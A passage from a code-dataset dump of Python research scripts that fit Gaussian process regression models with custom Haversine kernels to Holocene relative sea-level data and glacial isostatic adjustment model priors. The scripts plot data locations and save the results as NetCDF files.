lat=ds_readv.lat).to_dataset()\n ds_areastd = ds_sliced.std(dim='modelrun').load().chunk((-1,-1,-1)).interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat).to_dataset()\n\n #sample each model at points where we have RSL data\n def ds_select(ds):\n return ds.rsl.sel(age=[row.age],\n lon=[row.lon],\n lat=[row.lat],\n method='nearest').squeeze().values\n\n #select points at which RSL data exists\n for i, row in df_place.iterrows():\n df_place.loc[i, 'rsl_realresid'] = df_place.rsl[i] - ds_select(ds_area)\n df_place.loc[i, 'rsl_giaprior'] = ds_select(ds_area)\n df_place.loc[i, 'rsl_giaprior_std'] = ds_select(ds_areastd)\n\n print('number of datapoints = ', df_place.shape)\n\n\n ##################\t RUN GP REGRESSION \t#######################\n ################## --------------------\t ######################\n start = time.time()\n\n def run_gpr():\n\n Data = Tuple[tf.Tensor, tf.Tensor]\n likelihood = df_place.rsl_er_max.ravel()**2 + df_place.rsl_giaprior_std.ravel()**2 # here we define likelihood\n\n class GPR_diag(gpf.models.GPModel):\n r\"\"\"\n Gaussian Process Regression.\n This is a vanilla implementation of GP regression with a pointwise Gaussian\n likelihood. Multiple columns of Y are treated independently.\n The log likelihood of this models is sometimes referred to as the 'marginal log likelihood',\n and is given by\n .. math::\n \\log p(\\mathbf y \\,|\\, \\mathbf f) =\n \\mathcal N\\left(\\mathbf y\\,|\\, 0, \\mathbf K + \\sigma_n \\mathbf I\\right)\n \"\"\"\n def __init__(self,\n data: Data,\n kernel: Kernel,\n mean_function: Optional[MeanFunction] = None,\n likelihood=likelihood):\n likelihood = gpf.likelihoods.Gaussian(variance=likelihood)\n _, y_data = data\n super().__init__(kernel,\n likelihood,\n mean_function,\n num_latent=y_data.shape[-1])\n self.data = data\n\n def log_likelihood(self):\n \"\"\"\n Computes the log likelihood.\n \"\"\"\n x, y = self.data\n K = self.kernel(x)\n num_data = x.shape[0]\n k_diag = tf.linalg.diag_part(K)\n s_diag = tf.convert_to_tensor(self.likelihood.variance)\n jitter = tf.cast(tf.fill([num_data], default_jitter()),\n 'float64') # stabilize K matrix w/jitter\n ks = tf.linalg.set_diag(K, k_diag + s_diag + jitter)\n L = tf.linalg.cholesky(ks)\n m = self.mean_function(x)\n\n # [R,] log-likelihoods for each independent dimension of Y\n log_prob = multivariate_normal(y, m, L)\n return tf.reduce_sum(log_prob)\n\n def predict_f(self,\n predict_at: tf.Tensor,\n full_cov: bool = False,\n full_output_cov: bool = False):\n r\"\"\"\n This method computes predictions at X \\in R^{N \\x D} input points\n .. math::\n p(F* | Y)\n where F* are points on the GP at new data points, Y are noisy observations at training data points.\n \"\"\"\n x_data, y_data = self.data\n err = y_data - self.mean_function(x_data)\n\n kmm = self.kernel(x_data)\n knn = self.kernel(predict_at, full=full_cov)\n kmn = self.kernel(x_data, predict_at)\n\n num_data = x_data.shape[0]\n s = tf.linalg.diag(tf.convert_to_tensor(\n self.likelihood.variance)) #changed from normal GPR\n\n conditional = gpf.conditionals.base_conditional\n f_mean_zero, f_var = conditional(\n kmn, kmm + s, knn, err, full_cov=full_cov,\n white=False) # [N, P], [N, P] or [P, N, N]\n f_mean = f_mean_zero + self.mean_function(predict_at)\n return f_mean, f_var\n\n\n def normalize(df):\n return np.array((df - df.mean()) / df.std()).reshape(len(df), 1)\n\n\n def denormalize(y_pred, df):\n return np.array((y_pred * df.std()) + df.mean())\n\n\n def bounded_parameter(low, high, param):\n \"\"\"Make parameter tfp Parameter with optimization bounds.\"\"\"\n affine = tfb.AffineScalar(shift=tf.cast(low, tf.float64),\n scale=tf.cast(high - low, tf.float64))\n sigmoid = tfb.Sigmoid()\n logistic = tfb.Chain([affine, sigmoid])\n parameter = gpf.Parameter(param, transform=logistic, dtype=tf.float64)\n return parameter\n\n\n class HaversineKernel_Matern52(gpf.kernels.Matern52):\n \"\"\"\n Isotropic Matern52 Kernel with Haversine distance instead of euclidean distance.\n Assumes n dimensional data, with columns [latitude, longitude] in degrees.\n \"\"\"\n def __init__(\n self,\n lengthscale=1.0,\n variance=1.0,\n active_dims=None,\n ):\n super().__init__(\n active_dims=active_dims,\n variance=variance,\n lengthscale=lengthscale,\n )\n\n def haversine_dist(self, X, X2):\n pi = np.pi / 180\n f = tf.expand_dims(X * pi, -2) # ... x N x 1 x D\n f2 = tf.expand_dims(X2 * pi, -3) # ... x 1 x M x D\n d = tf.sin((f - f2) / 2)**2\n lat1, lat2 = tf.expand_dims(X[:, 0] * pi, -1), \\\n tf.expand_dims(X2[:, 0] * pi, -2)\n cos_prod = tf.cos(lat2) * tf.cos(lat1)\n a = d[:, :, 0] + cos_prod * d[:, :, 1]\n c = tf.asin(tf.sqrt(a)) * 6371 * 2\n return c\n\n def scaled_squared_euclid_dist(self, X, X2):\n \"\"\"\n Returns (dist(X, X2ᵀ)/lengthscales)².\n \"\"\"\n if X2 is None:\n X2 = X\n dist = tf.square(self.haversine_dist(X, X2) / self.lengthscale)\n # dist = tf.convert_to_tensor(dist)\n return dist\n\n\n class HaversineKernel_Matern32(gpf.kernels.Matern32):\n \"\"\"\n Isotropic Matern52 Kernel with Haversine distance instead of euclidean distance.\n Assumes n dimensional data, with columns [latitude, longitude] in degrees.\n \"\"\"\n def __init__(\n self,\n lengthscale=1.0,\n variance=1.0,\n active_dims=None,\n ):\n super().__init__(\n active_dims=active_dims,\n variance=variance,\n lengthscale=lengthscale,\n )\n\n def haversine_dist(self, X, X2):\n pi = np.pi / 180\n f = tf.expand_dims(X * pi, -2) # ... x N x 1 x D\n f2 = tf.expand_dims(X2 * pi, -3) # ... x 1 x M x D\n d = tf.sin((f - f2) / 2)**2\n lat1, lat2 = tf.expand_dims(X[:, 0] * pi, -1), \\\n tf.expand_dims(X2[:, 0] * pi, -2)\n cos_prod = tf.cos(lat2) * tf.cos(lat1)\n a = d[:, :, 0] + cos_prod * d[:, :, 1]\n c = tf.asin(tf.sqrt(a)) * 6371 * 2\n return c\n\n def scaled_squared_euclid_dist(self, X, X2):\n \"\"\"\n Returns (dist(X, X2ᵀ)/lengthscales)².\n \"\"\"\n if X2 is None:\n X2 = X\n dist = tf.square(self.haversine_dist(X, X2) / self.lengthscale)\n\n return dist\n\n\n ########### Section to Run GPR######################\n ##################################3#################\n\n # Input space, rsl normalized to zero mean, unit variance\n X = np.stack((df_place['lon'], df_place['lat'], df_place['age']), 1)\n RSL = normalize(df_place.rsl_realresid)\n\n #define kernels with bounds\n\n k1 = HaversineKernel_Matern32(active_dims=[0, 1])\n k1.lengthscale = bounded_parameter(5000, 30000, 10000) #hemispheric space\n k1.variance = bounded_parameter(0.1, 100, 2)\n\n k2 = HaversineKernel_Matern32(active_dims=[0, 1])\n k2.lengthscale = bounded_parameter(1, 5000, 1000) #GIA space\n k2.variance = bounded_parameter(0.1, 100, 2)\n\n k3 = gpf.kernels.Matern32(active_dims=[2]) #GIA time\n k3.lengthscale = bounded_parameter(8000, 20000, 10000)\n k3.variance = bounded_parameter(0.1, 100, 1)\n\n k4 = gpf.kernels.Matern32(active_dims=[2]) #shorter time\n k4.lengthscale = bounded_parameter(1, 8000, 1000)\n k4.variance = bounded_parameter(0.1, 100, 1)\n\n k5 = gpf.kernels.White(active_dims=[2])\n k5.variance = bounded_parameter(0.01, 100, 1)\n\n kernel = (k1 * k3) + (k2 * k4) + k5\n\n #build & train model\n m = GPR_diag((X, RSL), kernel=kernel, likelihood=likelihood)\n print('model built, time=', time.time() - start)\n\n @tf.function(autograph=False)\n def objective():\n return - m.log_marginal_likelihood()\n\n o = gpf.optimizers.Scipy()\n o.minimize(objective, variables=m.trainable_variables)\n print('model minimized, time=', time.time() - start)\n\n # output space\n nout = 70\n lat = np.linspace(min(ds_area.lat), max(ds_area.lat), nout)\n lon = np.linspace(min(ds_area.lon), max(ds_area.lon), nout)\n ages = ages_lgm[(ages_lgm < tmax) & (ages_lgm > tmin)]\n xyt = np.array(list(product(lon, lat, ages)))\n\n #query model & renormalize data\n y_pred, var = m.predict_f(xyt)\n y_pred_out = denormalize(y_pred, df_place.rsl_realresid)\n\n #reshape output vectors\n Zp = np.array(y_pred_out).reshape(nout, nout, len(ages))\n varp = np.array(var).reshape(nout, nout, len(ages))\n\n #print kernel details\n print_summary(m, fmt='notebook')\n print('time elapsed = ', time.time() - start)\n\n print('negative log marginal likelihood =',\n m.neg_log_marginal_likelihood().numpy())\n\n loglikelist = []\n loglikelist.append(m.neg_log_marginal_likelihood().numpy())\n\n\n ##################\t INTERPOLATE MODELS \t#######################\n ################## --------------------\t ######################\n\n # turn GPR output into xarray dataarray\n da_zp = xr.DataArray(Zp, coords=[lon, lat, ages],\n dims=['lon', 'lat',\n 'age']).transpose('age', 'lat', 'lon')\n da_varp = xr.DataArray(varp,\n coords=[lon, lat, ages],\n dims=['lon', 'lat',\n 'age']).transpose('age', 'lat', 'lon')\n\n def interp_likegpr(ds):\n return ds.rsl.load().transpose().interp_like(da_zp)\n\n #interpolate all models onto GPR grid\n da_giapriorinterp = interp_likegpr(ds_area)\n ds_giapriorinterp = ds_area.interp(age=ages)\n da_giapriorinterpstd = interp_likegpr(ds_areastd)\n\n # add total prior RSL back into GPR\n da_priorplusgpr = da_zp + da_giapriorinterp\n\n return ages, da_zp, da_giapriorinterpstd, da_giapriorinterp, da_priorplusgpr, da_varp, loglikelist\n\n ages, da_zp, da_giapriorinterpstd, da_giapriorinterp, da_priorplusgpr, da_varp, loglikelist = run_gpr()\n ##################\t \t SAVE NETCDFS \t \t#######################\n ################## --------------------\t ######################\n\n path_gen = f'{ice_model}{ages[0]}_{ages[-1]}_modelaverage_{place}'\n da_zp.to_netcdf('output/' + path_gen + '_dazp')\n da_giapriorinterp.to_netcdf('output/' + path_gen + '_giaprior')\n da_giapriorinterpstd.to_netcdf('output/' + path_gen + '_giapriorstd')\n da_priorplusgpr.to_netcdf('output/' + path_gen + '_posterior')\n da_varp.to_netcdf('output/' + path_gen + '_gpvariance')\n\n #store log likelihood in dataframe\n df_out = pd.DataFrame({'modelrun': 'average_likelihood',\n 'log_marginal_likelihood': loglikelist})\n\n writepath = f'output/{path_gen}_loglikelihood'\n\n df_out.to_csv(writepath, index=False)\n df_likes = pd.read_csv(writepath)\n\nif __name__ == '__main__':\n readv()\n" }, { "alpha_fraction": 0.5699277520179749, "alphanum_fraction": 0.6007879376411438, "avg_line_length": 30.088436126708984, "blob_id": "7ed82ef9f373639ba3bbe34e1067e8986db59641", "content_id": "ae9a0051fcb6d05222f5d3128b10d4867672104b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4569, "license_type": "no_license", "max_line_length": 174, "num_lines": 147, "path": "/fen_nigp_it.py", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "# uses conda environment gpflow6_0\n\nfrom memory_profiler import profile\n\n# generic\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom itertools import product\nimport time\n\n# plotting\n\nfrom matplotlib import pyplot as plt\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nfrom matplotlib.lines import Line2D \nfrom matplotlib.patches import Circle\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\n\nimport gpflow as gpf\nfrom gpflow.ci_utils import ci_niter, ci_range\nfrom gpflow.utilities import print_summary\n\nfrom fen_functions import *\n\n# tensorflow\nimport tensorflow as tf\nimport argparse\n\n@profile\n\ndef readv():\n \n \n parser = argparse.ArgumentParser(description='import vars via c-line')\n parser.add_argument(\"--mod\", default='d6g_h6g_')\n parser.add_argument(\"--lith\", default='l71C')\n parser.add_argument(\"--um\", default=\"p2\")\n parser.add_argument(\"--lm\", default=\"3\")\n parser.add_argument(\"--tmax\", default=8000)\n parser.add_argument(\"--tmin\", default=7000)\n parser.add_argument(\"--place\", default=\"europe_arctic\")\n parser.add_argument(\"--nout\", default=20)\n parser.add_argument(\"--kernels\", default=[2500, 10000, 100, 6000])\n\n args = parser.parse_args()\n \n ice_model = args.mod\n lith = args.lith\n um = args.um\n lm = args.lm\n tmax = int(args.tmax)\n tmin = int(args.tmin)\n place = args.place\n nout = args.nout\n zeros = \"yes\" \n k1 = int(args.kernels[0])\n k2 = int(args.kernels[1])\n k3 = int(args.kernels[2])\n k4 = int(args.kernels[3])\n \n #################### Initialize parameters #######################\n\n agemax = round(tmax, -3) + 100\n agemin = round(tmin, -3) - 100\n\n ages = np.arange(agemin, agemax, 100)[::-1]\n\n locs = {'europe': [-20, 15, 35, 70],\n 'fennoscandia': [-15, 50, 45, 75],\n 'norway': [0, 50, 50, 75],\n 'europe_arctic': [-15, 88, 45, 85]\n }\n extent = locs[place]\n\n ##Get Norway data sheet from Google Drive\n sheet = 'Norway_isolation'\n df_nor = load_nordata_fromsheet(sheet)\n\n #import khan dataset\n path = '../data/GSL_LGM_120519_.csv'\n df_place = import_rsls(path, df_nor, tmin, tmax, extent)\n print(f'number of datapoints = {df_place.shape}')\n\n # add zeros at present-day. \n if zeros == 'yes':\n NUM = 50\n df_place = add_presday_0s(df_place, NUM)\n print(f'new number of data points with zeros = {df_place.shape}')\n\n #################### Make xarray template #######################\n\n filename = '../data/WAISreadvance_VM5_6ka_1step.mat'\n ds_template = xarray_template(filename, ages, extent)\n\n #################### Load GIA datasets #######################\n\n ds = make_mod(ice_model, lith, ages, extent)\n\n #make mean of runs\n ds_giamean = ds.mean(dim='modelrun').load().chunk((-1,-1,-1)).interp(lon=ds_template.lon, lat=ds_template.lat).to_dataset()\n ds_giastd = ds.std(dim='modelrun').load().chunk((-1,-1,-1)).interp(lon=ds_template.lon, lat=ds_template.lat).to_dataset()\n\n df_place['rsl_giaprior'] = df_place.apply(lambda row: ds_select(ds_giamean, row), axis=1)\n df_place['rsl_giaprior_std'] = df_place.apply(lambda row: ds_select(ds_giastd, row), axis=1)\n df_place['rsl_realresid'] = df_place.rsl - df_place.rsl_giaprior\n df_place['gia_diffdiv'] = df_place.rsl_realresid / df_place.rsl_giaprior_std\n\n\n print('number of datapoints = ', df_place.shape)\n\n ##################\t RUN GP REGRESSION \t#######################\n ################## --------------------\t ######################\n \n \n k1 = 2500\n k2 = 10000\n k3 = 100\n k4 = 6000\n\n start = time.time()\n \n ds_giapriorinterp, da_zp, ds_priorplusgpr, ds_varp, m, df_place, k1_l, k2_l, k3_l, k4_l = run_gpr(nout, iterations, ds_giamean, ds_giastd, ages, k1, k2, k3, k4, df_place)\n print(f'time = {time.time()-start}')\n\n print_summary(m, fmt='notebook')\n print(k1_l, k2_l, k2_l, type(k4_l))\n\n \n path_gen = f'output/{place}_{ice_model}{ages[0]}_{ages[-1]}'\n da_zp.to_netcdf(path_gen + '_dazp')\n ds_giapriorinterp.to_netcdf(path_gen + '_giaprior')\n ds_priorplusgpr.to_netcdf(path_gen + '_posterior')\n ds_varp.to_netcdf(path_gen + '_gpvariance')\n\n# #store log likelihood in dataframe\n# df_out = pd.DataFrame({'modelrun': 'average_likelihood',\n# 'log_marginal_likelihood': loglikelist})\n\n# writepath = f'output/{path_gen}_loglikelihood'\n# df_out.to_csv(writepath, index=False)\n\n \n\nif __name__ == '__main__':\n readv()" }, { "alpha_fraction": 0.45148614048957825, "alphanum_fraction": 0.47149184346199036, "avg_line_length": 38.42535400390625, "blob_id": "7fe9c74edd953bb600d6103314fb5a7dbaea4e38", "content_id": "6134315d4ea2a6931d918db12bc5d8e2f1c99036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 41994, "license_type": "no_license", "max_line_length": 111, "num_lines": 1065, "path": "/.ipynb_checkpoints/readv_021720_realdata_europe_glac1d-checkpoint.py", "repo_name": "rcameronc/Holocene_readv", "src_encoding": "UTF-8", "text": "# uses conda environment gpflow6_0\n\n# #!/anaconda3/envs/gpflow6_0/env/bin/python\n\nfrom memory_profiler import profile\n\n# generic\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nimport dask.array as da\nimport scipy.io as io\nfrom itertools import product\nimport glob\nimport time\nimport os\n\n# plotting\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nfrom matplotlib.colors import Normalize\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nfrom matplotlib.lines import Line2D\n\n# gpflow\nimport gpflow as gpf\nfrom gpflow.utilities import print_summary\nfrom gpflow.logdensities import multivariate_normal\nfrom gpflow.kernels import Kernel\nfrom gpflow.mean_functions import MeanFunction\nfrom typing import Optional, Tuple, List\nfrom gpflow.config import default_jitter\n\n# tensorflow\nimport tensorflow as tf\nfrom tensorflow_probability import bijectors as tfb\n\n\n@profile\ndef readv():\n\n # set the colormap and centre the colorbar\n class MidpointNormalize(Normalize):\n \"\"\"Normalise the colorbar. e.g. norm=MidpointNormalize(mymin, mymax, 0.)\"\"\"\n def __init__(self, vmin=None, vmax=None, midpoint=None, clip=False):\n self.midpoint = midpoint\n Normalize.__init__(self, vmin, vmax, clip)\n\n def __call__(self, value, clip=None):\n x, y = [self.vmin, self.midpoint, self.vmax], [0, 0.5, 1]\n return np.ma.masked_array(np.interp(value, x, y), np.isnan(value))\n\n\n #################### Initialize parameters #######################\n #################### ---------------------- #######################\n\n ice_model = 'd6g_h6g_' #'glac1d_'\n lith_thickness = 'l7' # 'l90C'\n place = 'europe'\n\n locs = {\n 'england': [-12, 2, 50, 60],\n 'southchina': [110, 117, 19, 23],\n 'easternhem': [50, 178, -45, 80],\n 'westernhem': [-175, 30, -80, 75],\n 'world': [-179.8, 179.8, -89.8, 89.8],\n 'namerica': [-150, -20, 10, 75],\n 'eastcoast': [-88, -65, 15, 40],\n 'europe': [-20, 15, 35, 70]\n }\n extent = locs[place]\n tmax, tmin, tstep = 10050, 450, 100\n\n ages_lgm = np.arange(100, 26000, tstep)[::-1]\n\n #import khan dataset\n path = 'data/GSL_LGM_120519_.csv'\n\n df = pd.read_csv(path, encoding=\"ISO-8859-15\", engine='python')\n df = df.replace('\\s+', '_', regex=True).replace('-', '_', regex=True).\\\n applymap(lambda s:s.lower() if type(s) == str else s)\n df.columns = df.columns.str.lower()\n df.rename_axis('index', inplace=True)\n df = df.rename({'latitude': 'lat', 'longitude': 'lon'}, axis='columns')\n dfind, dfterr, dfmar = df[(df.type == 0)\n & (df.age > 0)], df[df.type == 1], df[df.type == -1]\n np.sort(list(set(dfind.regionname1)))\n\n #select location\n df_place = dfind[(dfind.age > tmin) & (dfind.age < tmax) &\n (dfind.lon > extent[0])\n & (dfind.lon < extent[1])\n & (dfind.lat > extent[2])\n & (dfind.lat < extent[3])\n & (dfind.rsl_er_max < 1)][[\n 'lat', 'lon', 'rsl', 'rsl_er_max', 'age'\n ]]\n # & (df_place.rsl_er_max < 1)\n df_place.shape\n\n #################### \tPlot locations \t#######################\n #################### ---------------------- #######################\n\n #get counts by location rounded to nearest 0.1 degree\n df_rnd = df_place.copy()\n df_rnd.lat = np.round(df_rnd.lat, 1)\n df_rnd.lon = np.round(df_rnd.lon, 1)\n dfcounts_place = df_rnd.groupby(\n ['lat', 'lon']).count().reset_index()[['lat', 'lon', 'rsl', 'age']]\n\n #plot\n fig = plt.figure(figsize=(10, 7))\n ax = plt.subplot(1, 1, 1, projection=ccrs.PlateCarree())\n\n ax.set_extent(extent)\n ax.coastlines(resolution='110m', linewidth=1, zorder=2)\n ax.add_feature(cfeature.OCEAN, zorder=0)\n ax.add_feature(cfeature.LAND, color='palegreen', zorder=1)\n ax.add_feature(cfeature.BORDERS, linewidth=0.5, zorder=3)\n ax.gridlines(linewidth=1, color='white', alpha=0.5, zorder=4)\n scat = ax.scatter(dfcounts_place.lon,\n dfcounts_place.lat,\n s=dfcounts_place.rsl * 70,\n c='lightsalmon',\n vmin=-20,\n vmax=20,\n cmap='coolwarm',\n edgecolor='k',\n linewidths=1,\n transform=ccrs.PlateCarree(),\n zorder=5)\n size = Line2D(range(4),\n range(4),\n color=\"black\",\n marker='o',\n linewidth=0,\n linestyle='none',\n markersize=16,\n markerfacecolor=\"lightsalmon\")\n labels = ['RSL datapoint location']\n leg = plt.legend([size],\n labels,\n loc='lower left',\n bbox_to_anchor=(0.00, 0.00),\n prop={'size': 20},\n fancybox=True)\n leg.get_frame().set_edgecolor('k')\n ax.set_title('')\n\n #################### Make 3D fingerprint #######################\n #################### ---------------------- #######################\n\n filename = 'data/WAISreadvance_VM5_6ka_1step.mat'\n\n waismask = io.loadmat(filename, squeeze_me=True)\n ds_mask = xr.Dataset({'rsl': (['lat', 'lon', 'age'], waismask['RSL'])},\n coords={\n 'lon': waismask['lon_out'],\n 'lat': waismask['lat_out'],\n 'age': np.round(waismask['ice_time_new'])\n })\n fingerprint = ds_mask.sel(age=ds_mask.age[0])\n\n\n def make_fingerprint(start, end, maxscale):\n\n #palindromic scaling vector\n def palindrome(maxscale, ages):\n \"\"\" Make palindrome scale 0-maxval with number of steps. \"\"\"\n half = np.linspace(0, maxscale, 1 + (len(ages) - 1) // 2)\n scalefactor = np.concatenate([half, half[::-1]])\n return scalefactor\n\n ages_readv = ages_lgm[(ages_lgm < start) & (ages_lgm >= end)]\n scale = palindrome(maxscale, ages_readv)\n\n #scale factor same size as ice model ages\n pre = np.zeros(np.where(ages_lgm == start)[0])\n post = np.zeros(len(ages_lgm) - len(pre) - len(scale))\n\n readv_scale = np.concatenate([pre, scale, post])\n\n #scale factor into dataarray\n da_scale = xr.DataArray(readv_scale, coords=[('age', ages_lgm)])\n\n # broadcast fingerprint & scale to same dimensions;\n fingerprint_out, fing_scaled = xr.broadcast(fingerprint.rsl, da_scale)\n\n # mask fingerprint with scale to get LGM-pres timeseries\n ds_fingerprint = (fingerprint_out *\n fing_scaled).transpose().to_dataset(name='rsl')\n\n # scale dataset with fingerprint to LGM-present length & 0-max-0 over x years\n xrlist = []\n for i, key in enumerate(da_scale):\n mask = ds_fingerprint.sel(age=ds_fingerprint.age[i].values) * key\n mask = mask.assign_coords(scale=key,\n age=ages_lgm[i]).expand_dims(dim=['age'])\n xrlist.append(mask)\n ds_readv = xr.concat(xrlist, dim='age')\n\n ds_readv.coords['lon'] = pd.DataFrame((ds_readv.lon[ds_readv.lon >= 180] - 360)- 0.12) \\\n .append(pd.DataFrame(ds_readv.lon[ds_readv.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds_readv = ds_readv.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n\n # Add readv to modeled RSL at locations with data\n ##### Need to fix this, as currently slice does not acknowledge new coords #########\n ds_readv = ds_readv.sel(age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() + 180 - 2,\n df_place.lon.max() + 180 + 2),\n lat=slice(df_place.lat.max() + 2,\n df_place.lat.min() - 2))\n return ds_readv\n\n\n #Make deterministic readvance fingerprint\n start, end = 6100, 3000\n maxscale = 2.25\n ds_readv = make_fingerprint(start, end, maxscale)\n\n #Make readvance prior\n start, end = 8000, 2000\n maxscale = 2.25\n ds_readvprior = make_fingerprint(start, end, maxscale)\n ds_readvprior_std = ds_readvprior * 0.3\n\n #################### Build GIA models \t#######################\n #################### ---------------------- #######################\n\n #Use either glac1d or ICE6G\n if ice_model == 'glac1d_':\n\n def build_dataset(model):\n \"\"\"download model runs from local directory.\"\"\"\n\n path = f'data/glac1d_/output_{model}'\n files = f'{path}*.nc'\n basefiles = glob.glob(files)\n modelrun = [\n key.split('glac1d/output_', 1)[1][:-3].replace('.', '_')\n for key in basefiles\n ]\n dss = xr.open_mfdataset(files,\n chunks=None,\n concat_dim='modelrun',\n combine='nested')\n lats, lons, times = dss.LAT.values[0], dss.LON.values[\n 0], dss.TIME.values[0]\n ds = dss.drop(['LAT', 'LON', 'TIME'])\n ds = ds.assign_coords(lat=lats,\n lon=lons,\n time=times,\n modelrun=modelrun).rename({\n 'time': 'age',\n 'RSL': 'rsl'\n })\n return ds\n\n def one_mod(names):\n \"\"\"Organize model runs into xarray dataset.\"\"\"\n ds1 = build_dataset(names[0])\n names = names[1:]\n ds = ds1.chunk({'lat': 10, 'lon': 10})\n for i in range(len(names)):\n temp = build_dataset(names[i])\n temp1 = temp.interp_like(ds1)\n temp1['modelrun'] = temp['modelrun']\n ds = xr.concat([ds, temp1], dim='modelrun')\n ds['age'] = ds['age'] * 1000\n ds = ds.roll(lon=256, roll_coords=True)\n ds.coords['lon'] = pd.DataFrame((ds.lon[ds.lon >= 180] - 360)- 0.12 ) \\\n .append(pd.DataFrame(ds.lon[ds.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds.coords['lat'] = ds.lat[::-1]\n ds = ds.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n return ds\n\n #make composite of a bunch of GIA runs, i.e. GIA prior\n ds = one_mod([ice_model + lith_thickness])\n\n ds_sliced = ds.rsl.sel(age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() - 2,\n df_place.lon.max() + 2),\n lat=slice(df_place.lat.min() - 2,\n df_place.lat.max() + 2))\n ds_area = ds_sliced.mean(dim='modelrun').load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n ds_areastd = ds_sliced.std(dim='modelrun').load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n\n # make \"true\" RSL by adding single GIA run and fingerprint\n lithmantle = 'l71C_ump2_lm50'\n ds_diff = one_mod(\n [ice_model + 'l71C']).sel(modelrun=ice_model + lithmantle).rsl.sel(\n age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() - 2,\n df_place.lon.max() + 2),\n lat=slice(df_place.lat.min() - 2,\n df_place.lat.max() + 2)).load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n\n else:\n\n def build_dataset(model):\n \"\"\"download model runs from local directory.\"\"\"\n\n path = f'data/d6g_h6g_/output_{model}'\n files = f'{path}*.nc'\n basefiles = glob.glob(files)\n modelrun = [\n key.split('d6g_h6g_/output_', 1)[1][:-3].replace('.', '_')\n for key in basefiles\n ]\n dss = xr.open_mfdataset(files,\n chunks=None,\n concat_dim='modelrun',\n combine='nested')\n lats, lons, times = dss.LAT.values[0], dss.LON.values[\n 0], dss.TIME.values[0]\n ds = dss.drop(['LAT', 'LON', 'TIME'])\n ds = ds.assign_coords(lat=lats,\n lon=lons,\n time=times,\n modelrun=modelrun).rename({\n 'time': 'age',\n 'RSL': 'rsl'\n })\n return ds\n\n def one_mod(names):\n \"\"\"Organize model runs into xarray dataset.\"\"\"\n ds1 = build_dataset(names[0])\n names = names[1:]\n ds = ds1.chunk({'lat': 10, 'lon': 10})\n for i in range(len(names)):\n temp = build_dataset(names[i])\n temp1 = temp.interp_like(ds1)\n temp1['modelrun'] = temp['modelrun']\n ds = xr.concat([ds, temp1], dim='modelrun')\n ds['age'] = ds['age'] * 1000\n ds = ds.roll(lon=256, roll_coords=True)\n ds.coords['lon'] = pd.DataFrame((ds.lon[ds.lon >= 180] - 360)- 0.12 ) \\\n .append(pd.DataFrame(ds.lon[ds.lon < 180]) + 0.58) \\\n .reset_index(drop=True).squeeze()\n ds = ds.swap_dims({'dim_0': 'lon'}).drop('dim_0')\n return ds\n\n #make composite of a bunch of GIA runs, i.e. GIA prior\n ds = one_mod([ice_model + lith_thickness])\n\n ds_sliced = ds.rsl.sel(age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() - 2,\n df_place.lon.max() + 2),\n lat=slice(df_place.lat.max() + 2,\n df_place.lat.min() - 2))\n ds_area = ds_sliced.mean(dim='modelrun').load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n ds_areastd = ds_sliced.std(dim='modelrun').load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n\n # make \"true\" RSL by adding single GIA run and fingerprint\n lithmantle = 'l71C_ump2_lm50'\n ds_diff = one_mod(\n [ice_model + 'l71C']).sel(modelrun=ice_model + lithmantle).rsl.sel(\n age=slice(tmax, tmin),\n lon=slice(df_place.lon.min() - 2,\n df_place.lon.max() + 2),\n lat=slice(df_place.lat.max() + 2,\n df_place.lat.min() - 2)).load().to_dataset().interp(\n age=ds_readv.age, lon=ds_readv.lon, lat=ds_readv.lat)\n\n #make residual by subtracting GIA prior and fingerprint prior from \"true\" GIA\n ds_true = ds_diff + ds_readv\n ds_prior = ds_area + ds_readvprior\n ds_priorstd = ds_areastd + ds_readvprior_std\n ds_truelessprior = ds_true - ds_prior\n\n\n #sample each model at points where we have RSL data\n def ds_select(ds):\n return ds.rsl.sel(age=[row.age],\n lon=[row.lon],\n lat=[row.lat],\n method='nearest').squeeze().values\n\n\n #select points at which RSL data exists\n for i, row in df_place.iterrows():\n df_place.loc[i, 'rsl_true'] = ds_select(ds_true)\n df_place.loc[i, 'rsl_resid'] = ds_select(ds_truelessprior)\n df_place.loc[i, 'rsl_realresid'] = df_place.rsl[i] - ds_select(ds_area)\n\n df_place.loc[i, 'rsl_totalprior'] = ds_select(ds_prior)\n df_place.loc[i, 'rsl_totalprior_std'] = ds_select(ds_priorstd)\n df_place.loc[i, 'rsl_giaprior'] = ds_select(ds_area)\n df_place.loc[i, 'rsl_giaprior_std'] = ds_select(ds_areastd)\n df_place.loc[i, 'rsl_readvprior'] = ds_select(ds_readvprior)\n df_place.loc[i, 'rsl_readvprior_std'] = ds_select(ds_readvprior_std)\n print('number of datapoints = ', df_place.shape)\n\n ##################\t RUN GP REGRESSION \t#######################\n ################## --------------------\t ######################\n\n start = time.time()\n\n Data = Tuple[tf.Tensor, tf.Tensor]\n likelihood = df_place.rsl_er_max.ravel()**2 + df_place.rsl_giaprior_std.ravel(\n )**2 # here we define likelihood\n\n\n class GPR_diag(gpf.models.GPModel):\n r\"\"\"\n Gaussian Process Regression.\n This is a vanilla implementation of GP regression with a pointwise 